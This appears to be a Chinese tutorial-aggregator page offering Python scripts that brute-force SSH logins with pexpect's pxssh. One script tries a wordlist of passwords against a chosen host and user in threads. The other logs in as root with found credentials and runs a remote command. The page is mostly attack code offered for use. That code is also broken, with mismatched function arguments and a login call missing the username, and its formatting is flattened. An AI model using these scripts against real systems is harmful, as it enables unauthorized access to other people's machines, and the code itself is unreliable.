环境:kali
代码:
‘‘‘Author:yw‘‘‘from pexpect import pxsshimport optparsefrom threading import *Max_Connect = 5connection_lock = BoundedSemaphore(value=Max_Connect)def connect(host,user,password): try: s = pxssh.pxssh() s.login(host,password) print("[+]Password Found:"+password) Found = True except Exception as e: passdef main(): parser = optparse.OptionParser(‘usage %prog -H <target host> -f <passwd file> -u <username>‘) parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘target host‘) parser.add_option(‘-f‘,dest=‘passwdfile‘,help=‘passwofile‘) parser.add_option(‘-u‘,dest=‘user‘,help=‘login username‘) (options,args) = parser.parse_args() host = options.host passwdfile = options.passwdfile user = options.user if host==None or passwdfile==None or user==None: print(parser.usage) exit(0) mn = open(passwdfile,‘r‘) lines = mn.readlines() for line in lines: with connection_lock: password = line.strip(‘\n‘) print(‘[-] Test:‘+str(password)) t = Thread(target=connect,args=(host,password)) t.start()if __name__ == ‘__main__‘: main()@H_419_13@执行结果:
爆破成功后(远程执行上述命令)代码:
‘‘‘Author:yw‘‘‘from pexpect import pxsshdef send_shell(s,shell): s.sendline(shell) s.prompt() print s.beforedef connect(host,password): try: s=pxssh.pxssh() s.login(host,password) return s except: print("[-] Error Connecting") exit(0)s=connect(‘127.0.0.1‘,‘root‘,‘toor‘)send_shell(s,‘uname -a‘)@H_419_13@ 总结以上是内存溢出为你收集整理的Python脚本--爆破SSH全部内容,希望文章能够帮你解决Python脚本--爆破SSH所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)